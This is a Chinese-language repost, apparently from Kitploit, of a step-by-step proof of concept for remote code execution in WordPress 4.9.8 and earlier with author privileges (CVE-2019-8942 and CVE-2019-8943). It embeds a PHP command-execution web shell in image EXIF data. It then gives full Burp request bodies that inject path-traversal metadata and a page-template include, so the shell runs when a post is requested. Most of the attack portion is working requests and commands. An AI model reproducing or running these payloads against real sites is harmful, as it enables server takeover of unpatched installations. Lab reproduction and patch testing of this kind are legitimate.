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WordPress_4.9.8_RCE_POC — WordPress RCE（作者权限）的简单PoC，参考CVE-2019-8942和CVE-2019-8943。 | Kitploit
工具/GitHubGitHub/brianwrf/wordpress_4.9.8_rce_poc
漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试Payload 开发
GitHubbrianwrf/wordpress_4.9.8_rce_poc

WordPress_4.9.8_RCE_POC

WordPress RCE（作者权限）的简单PoC，参考CVE-2019-8942和CVE-2019-8943。

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摘要

一个针对WordPress RCE（作者权限）的简单PoC，参考CVE-2019-8942和CVE-2019-8943。

受影响版本

  • WordPress <= 4.9.8（已验证）
  • WordPress <= 5.0.0

测试环境

Docker 镜像

  • docker pull avfisherdocker/wordpress:4.9.8
  • docker run -d -p 80:80 avfisherdocker/wordpress:4.9.8

MySQL 和 WordPress 信息

类型用户名密码
mysqlrootroot
wordpressadminadmin4wp498
wordpressauthorauthor4wp498

概念验证

1. 启动Burp拦截流量

2. 使用exiftool创建恶意图片文件poc.jpg

  • exiftool poc.jpg -documentname="<?php echo exec(\$_POST['cmd']); ?>"

3. 通过WPScan检测当前主题

  • wpscan -u <URL> -et，例如WordPress 4.9.8中默认的twentyseventeen

4. 上传payload图片文件poc.jpg

  • 登录author账户；
  • 在仪表盘中点击媒体 - 添加新文件上传poc.jpg文件；
  • 选择上传的图片并点击编辑更多详情 - 更新；
  • 在Burp中检查，你会看到一个类似于以下的POST请求/wp-admin/post.php，然后将其发送到Repeater：
root@kitploit:~
POST /wp-admin/post.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://34.211.248.202/wp-admin/post.php?post=6&action=edit
Content-Type: application/x-www-form-urlencoded
Content-Length: 832
Cookie: wordpress_9f977c8ffc2c97b0c848277689037ed1=author%7C1551298764%7CkwllUoWifopUBYobsNWYqsJTJ1tnI3enLdT6Hx4GdoR%7Cc9a1b8db83347d7e7893f8b871033a3cf8c8d90c0164b9e293e397a46da02df8; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_9f977c8ffc2c97b0c848277689037ed1=author%7C1551298764%7CkwllUoWifopUBYobsNWYqsJTJ1tnI3enLdT6Hx4GdoR%7Cd0d730cf25331c60b4c2ff475f5d9b38ed95d308dcc3452eba307eaa6367d9d8; wp-settings-time-2=1551126207
Connection: close
Upgrade-Insecure-Requests: 1

_wpnonce=ab3340b93c&_wp_http_referer=%2Fwp-admin%2Fpost.php%3Fpost%3D6%26action%3Dedit&user_ID=2&action=editpost&originalaction=editpost&post_author=2&post_type=attachment&original_post_status=inherit&referredby=http%3A%2F%2F34.211.248.202%2Fwp-admin%2Fupload.php%3Fitem%3D6&_wp_original_http_referer=http%3A%2F%2F34.211.248.202%2Fwp-admin%2Fupload.php%3Fitem%3D6&post_ID=6&meta-box-order-nonce=539523098a&closedpostboxesnonce=f7481e5cf7&post_title=poc&samplepermalinknonce=90f8d66414&excerpt=&_wp_attachment_image_alt=&content=&attachment_url=http%3A%2F%2F34.211.248.202%2Fwp-content%2Fuploads%2F2019%2F02%2Fpoc.jpg&original_publish=Update&save=Update&advanced_view=1&comment_status=open&add_comment_nonce=e7116231cd&_ajax_fetch_list_nonce=0163224a2a&_wp_http_referer=%2Fwp-admin%2Fpost.php%3Fpost%3D6%26action%3Dedit&post_name=poc

5. 裁剪图片

  • 进入媒体并选择第4步上传的图片；
  • 点击编辑图片裁剪图片，然后点击保存；
  • 在Burp中检查，你会看到一个类似于以下的POST请求/wp-admin/admin-ajax.php，然后将其发送到Repeater：
root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://34.211.248.202/wp-admin/upload.php?item=6&mode=edit
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 174
Cookie: wordpress_9f977c8ffc2c97b0c848277689037ed1=author%7C1551298764%7CkwllUoWifopUBYobsNWYqsJTJ1tnI3enLdT6Hx4GdoR%7Cc9a1b8db83347d7e7893f8b871033a3cf8c8d90c0164b9e293e397a46da02df8; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_9f977c8ffc2c97b0c848277689037ed1=author%7C1551298764%7CkwllUoWifopUBYobsNWYqsJTJ1tnI3enLdT6Hx4GdoR%7Cd0d730cf25331c60b4c2ff475f5d9b38ed95d308dcc3452eba307eaa6367d9d8; wp-settings-time-2=1551126785
Connection: close

action=image-editor&_ajax_nonce=0fc4799ff5&postid=6&history=%5B%7B%22c%22%3A%7B%22x%22%3A10%2C%22y%22%3A13%2C%22w%22%3A32%2C%22h%22%3A26%7D%7D%5D&target=full&context=&do=save

6. 将附加文件更新为poc.jpg#/poc.jpg

  • 在Burp Repeater中第4步捕获的POST请求/wp-admin/post.php中添加&meta_input[_wp_attached_file]=<当前年份>/<当前月份>/poc.jpg#/poc.jpg（例如2019年2月为&meta_input[_wp_attached_file]=2019/02/poc.jpg#/poc.jpg），类似于下面所示，然后点击Go。
root@kitploit:~
POST /wp-admin/post.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://34.211.248.202/wp-admin/post.php?post=6&action=edit
Content-Type: application/x-www-form-urlencoded
Content-Length: 832
Cookie: wordpress_9f977c8ffc2c97b0c848277689037ed1=author%7C1551298764%7CkwllUoWifopUBYobsNWYqsJTJ1tnI3enLdT6Hx4GdoR%7Cc9a1b8db83347d7e7893f8b871033a3cf8c8d90c0164b9e293e397a46da02df8; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_9f977c8ffc2c97b0c848277689037ed1=author%7C1551298764%7CkwllUoWifopUBYobsNWYqsJTJ1tnI3enLdT6Hx4GdoR%7Cd0d730cf25331c60b4c2ff475f5d9b38ed95d308dcc3452eba307eaa6367d9d8; wp-settings-time-2=1551126207
Connection: close
Upgrade-Insecure-Requests: 1

_wpnonce=ab3340b93c&_wp_http_referer=%2Fwp-admin%2Fpost.php%3Fpost%3D6%26action%3Dedit&user_ID=2&action=editpost&originalaction=editpost&post_author=2&post_type=attachment&original_post_status=inherit&referredby=http%3A%2F%2F34.211.248.202%2Fwp-admin%2Fupload.php%3Fitem%3D6&_wp_original_http_referer=http%3A%2F%2F34.211.248.202%2Fwp-admin%2Fupload.php%3Fitem%3D6&post_ID=6&meta-box-order-nonce=539523098a&closedpostboxesnonce=f7481e5cf7&post_title=poc&samplepermalinknonce=90f8d66414&excerpt=&_wp_attachment_image_alt=&content=&attachment_url=http%3A%2F%2F34.211.248.202%2Fwp-content%2Fuploads%2F2019%2F02%2Fpoc.jpg&original_publish=Update&save=Update&advanced_view=1&comment_status=open&add_comment_nonce=e7116231cd&_ajax_fetch_list_nonce=0163224a2a&_wp_http_referer=%2Fwp-admin%2Fpost.php%3Fpost%3D6%26action%3Dedit&post_name=poc&meta_input[_wp_attached_file]=2019/02/poc.jpg#/poc.jpg

7. 裁剪图片

  • 重复在Burp Repeater中第5步捕获的POST请求/wp-admin/admin-ajax.php。

8. 将附加文件更新为poc.jpg#/../../../../themes/<当前主题>/poc.jpg

  • 在Burp Repeater中第4步捕获的POST请求/wp-admin/post.php中更新为&meta_input[_wp_attached_file]=<当前年份>/<当前月份>/poc.jpg#/../../../../themes/<当前主题>/poc.jpg（例如2019年2月为&meta_input[_wp_attached_file]=2019/02/poc.jpg#/../../../../themes/twentyseventeen/poc.jpg），类似于下面所示，然后点击Go。
root@kitploit:~
POST /wp-admin/post.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://34.211.248.202/wp-admin/post.php?post=6&action=edit
Content-Type: application/x-www-form-urlencoded
Content-Length: 832
Cookie: wordpress_9f977c8ffc2c97b0c848277689037ed1=author%7C1551298764%7CkwllUoWifopUBYobsNWYqsJTJ1tnI3enLdT6Hx4GdoR%7Cc9a1b8db83347d7e7893f8b871033a3cf8c8d90c0164b9e293e397a46da02df8; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_9f977c8ffc2c97b0c848277689037ed1=author%7C1551298764%7CkwllUoWifopUBYobsNWYqsJTJ1tnI3enLdT6Hx4GdoR%7Cd0d730cf25331c60b4c2ff475f5d9b38ed95d308dcc3452eba307eaa6367d9d8; wp-settings-time-2=1551126207
Connection: close
Upgrade-Insecure-Requests: 1

_wpnonce=ab3340b93c&_wp_http_referer=%2Fwp-admin%2Fpost.php%3Fpost%3D6%26action%3Dedit&user_ID=2&action=editpost&originalaction=editpost&post_author=2&post_type=attachment&original_post_status=inherit&referredby=http%3A%2F%2F34.211.248.202%2Fwp-admin%2Fupload.php%3Fitem%3D6&_wp_original_http_referer=http%3A%2F%2F34.211.248.202%2Fwp-admin%2Fupload.php%3Fitem%3D6&post_ID=6&meta-box-order-nonce=539523098a&closedpostboxesnonce=f7481e5cf7&post_title=poc&samplepermalinknonce=90f8d66414&excerpt=&_wp_attachment_image_alt=&content=&attachment_url=http%3A%2F%2F34.211.248.202%2Fwp-content%2Fuploads%2F2019%2F02%2Fpoc.jpg&original_publish=Update&save=Update&advanced_view=1&comment_status=open&add_comment_nonce=e7116231cd&_ajax_fetch_list_nonce=0163224a2a&_wp_http_referer=%2Fwp-admin%2Fpost.php%3Fpost%3D6%26action%3Dedit&post_name=poc&meta_input[_wp_attached_file]=2019/02/poc.jpg#/../../../../themes/twentyseventeen/poc.jpg

9. 裁剪图片

  • 重复在Burp Repeater中第5步捕获的POST请求/wp-admin/admin-ajax.php；
  • 记下裁剪后的图片文件名，例如poc-e1551133870454.jpg。

10. 通过添加文章创建包含payload的文章

  • 点击文章 - 添加新文章创建新文章并点击发布；
  • 在Burp中检查，你会看到一个类似于以下的POST请求/wp-admin/post.php，然后将其发送到Repeater：
root@kitploit:~
POST /wp-admin/post.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://180.76.234.24/wp-admin/post-new.php?wp-post-new-reload=true
Content-Type: application/x-www-form-urlencoded
Content-Length: 1116
Cookie: wp-saving-post=7-check; wp-saving-post=10-saved; wordpress_21006e0e4224057a8cdfd0bb01a98baa=author%7C1551306468%7CGGxuLa225e31DAfLkssKbzMOiOdk6K4grU75SWKw2tO%7C9f3191099eadc9810a0a7f0ec2a9caa5ceed7f86be6100640b7d444c89f2cc1a; wordpress_test_cookie=WP+Cookie+check; wp-settings-time-2=1551134027; wordpress_logged_in_21006e0e4224057a8cdfd0bb01a98baa=author%7C1551306468%7CGGxuLa225e31DAfLkssKbzMOiOdk6K4grU75SWKw2tO%7C85b467e06eb3b1461380c8672c848b04bf78da7e0c637ba0af40634b437da039
Connection: close
Upgrade-Insecure-Requests: 1

_wpnonce=16f64ed1dd&_wp_http_referer=%2Fwp-admin%2Fpost-new.php&user_ID=2&action=editpost&originalaction=editpost&post_author=2&post_type=post&original_post_status=auto-draft&referredby=http%3A%2F%2F180.76.234.24%2Fwp-admin%2Fpost.php%3Fpost%3D6%26action%3Dedit&_wp_original_http_referer=http%3A%2F%2F180.76.234.24%2Fwp-admin%2Fpost.php%3Fpost%3D6%26action%3Dedit&auto_draft=&post_ID=7&meta-box-order-nonce=32fc2f4c9b&closedpostboxesnonce=f550a7dc60&post_title=Here+is+the+PoC&samplepermalinknonce=d703c244b8&content=Here+is+the+PoC.&wp-preview=&hidden_post_status=draft&post_status=draft&hidden_post_password=&hidden_post_visibility=public&visibility=public&post_password=&mm=02&jj=25&aa=2019&hh=22&mn=33&ss=47&hidden_mm=02&cur_mm=02&hidden_jj=25&cur_jj=25&hidden_aa=2019&cur_aa=2019&hidden_hh=22&cur_hh=22&hidden_mn=33&cur_mn=33&original_publish=Publish&publish=Publish&post_format=0&post_category%5B%5D=0&tax_input%5Bpost_tag%5D=&newtag%5Bpost_tag%5D=&_thumbnail_id=-1&excerpt=&trackback_url=&metakeyinput=&metavalue=&_ajax_nonce-add-meta=ba64f17c06&advanced_view=1&comment_status=open&ping_status=open&post_name=
  • 在Burp Repeater中上一步捕获的POST请求/wp-admin/post.php中添加&meta_input[_wp_page_template]=<第9步中记下的裁剪图片文件名>，类似于下面所示，然后点击Go：
root@kitploit:~
POST /wp-admin/post.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://180.76.234.24/wp-admin/post-new.php?wp-post-new-reload=true
Content-Type: application/x-www-form-urlencoded
Content-Length: 1116
Cookie: wp-saving-post=7-check; wp-saving-post=10-saved; wordpress_21006e0e4224057a8cdfd0bb01a98baa=author%7C1551306468%7CGGxuLa225e31DAfLkssKbzMOiOdk6K4grU75SWKw2tO%7C9f3191099eadc9810a0a7f0ec2a9caa5ceed7f86be6100640b7d444c89f2cc1a; wordpress_test_cookie=WP+Cookie+check; wp-settings-time-2=1551134027; wordpress_logged_in_21006e0e4224057a8cdfd0bb01a98baa=author%7C1551306468%7CGGxuLa225e31DAfLkssKbzMOiOdk6K4grU75SWKw2tO%7C85b467e06eb3b1461380c8672c848b04bf78da7e0c637ba0af40634b437da039
Connection: close
Upgrade-Insecure-Requests: 1

_wpnonce=16f64ed1dd&_wp_http_referer=%2Fwp-admin%2Fpost-new.php&user_ID=2&action=editpost&originalaction=editpost&post_author=2&post_type=post&original_post_status=auto-draft&referredby=http%3A%2F%2F180.76.234.24%2Fwp-admin%2Fpost.php%3Fpost%3D6%26action%3Dedit&_wp_original_http_referer=http%3A%2F%2F180.76.234.24%2Fwp-admin%2Fpost.php%3Fpost%3D6%26action%3Dedit&auto_draft=&post_ID=7&meta-box-order-nonce=32fc2f4c9b&closedpostboxesnonce=f550a7dc60&post_title=Here+is+the+PoC&samplepermalinknonce=d703c244b8&content=Here+is+the+PoC.&wp-preview=&hidden_post_status=draft&post_status=draft&hidden_post_password=&hidden_post_visibility=public&visibility=public&post_password=&mm=02&jj=25&aa=2019&hh=22&mn=33&ss=47&hidden_mm=02&cur_mm=02&hidden_jj=25&cur_jj=25&hidden_aa=2019&cur_aa=2019&hidden_hh=22&cur_hh=22&hidden_mn=33&cur_mn=33&original_publish=Publish&publish=Publish&post_format=0&post_category%5B%5D=0&tax_input%5Bpost_tag%5D=&newtag%5Bpost_tag%5D=&_thumbnail_id=-1&excerpt=&trackback_url=&metakeyinput=&metavalue=&_ajax_nonce-add-meta=ba64f17c06&advanced_view=1&comment_status=open&ping_status=open&post_name=&meta_input[_wp_page_template]=poc-e1551133870454.jpg
  • 记下文章ID，例如post_ID=7。

11. 通过访问包含payload的文章触发LFI以实现任意代码执行

  • 向http://127.0.0.1/?p=7发送一个POST请求，数据为cmd=id，你会看到代码已成功执行。

参考

  • https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/
  • https://nvd.nist.gov/vuln/detail/CVE-2019-8942
  • https://nvd.nist.gov/vuln/detail/CVE-2019-8943
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